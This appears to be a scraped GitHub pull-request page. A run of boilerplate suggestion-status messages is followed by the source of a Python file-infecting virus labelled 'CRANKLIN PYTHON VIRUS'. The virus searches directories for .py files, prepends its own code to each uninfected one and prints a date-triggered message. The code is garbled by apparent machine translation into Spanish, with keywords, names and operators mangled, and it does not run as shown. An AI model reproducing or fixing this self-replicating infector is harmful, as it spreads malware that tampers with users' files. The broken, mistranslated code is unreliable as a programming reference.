Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
! # / Usr / bin / python
import os
import datetime
FIRMA = "CRANKLIN PYTHON VIRUS"
def búsqueda (path):
filestoinfect = []
filelist = os.listdir (path)
para fname en filelist:
si os.path.isdir (path + "/" fname +):
filestoinfect.extend (búsqueda (path + "/" + fname))
elif fname [-3:] == "py".:
infección = False
for linea in open (ruta + "/" fname +) :
Si la firma en línea:
infectado = True
descanso
si se infecta == False:
filestoinfect.append (ruta + "/" + fname)
volver filestoinfect
def infectar (filestoinfect):
virus = open (os.path.abspath (FILE))
= virusstring ""
for i, entrada de línea enumerate (virus):
si i> = 0 i <39:
virusstring + = línea
virus.close
para fname en filestoinfect:
f = open (fname)
temp = f.read ()
f.close ()
f = open (fname, "w")
f.write (virusstring + temp)
f.close ()
def bomba ():
si datetime.datetime.now () == 1 mes y datetime.datetime.now (. .) día == 25:
print "! CRANKLIN FELIZ CUMPLEAÑOS"
filestoinfect = search (os.path.abspath (""))
infectar (filestoinfect)
bomba ()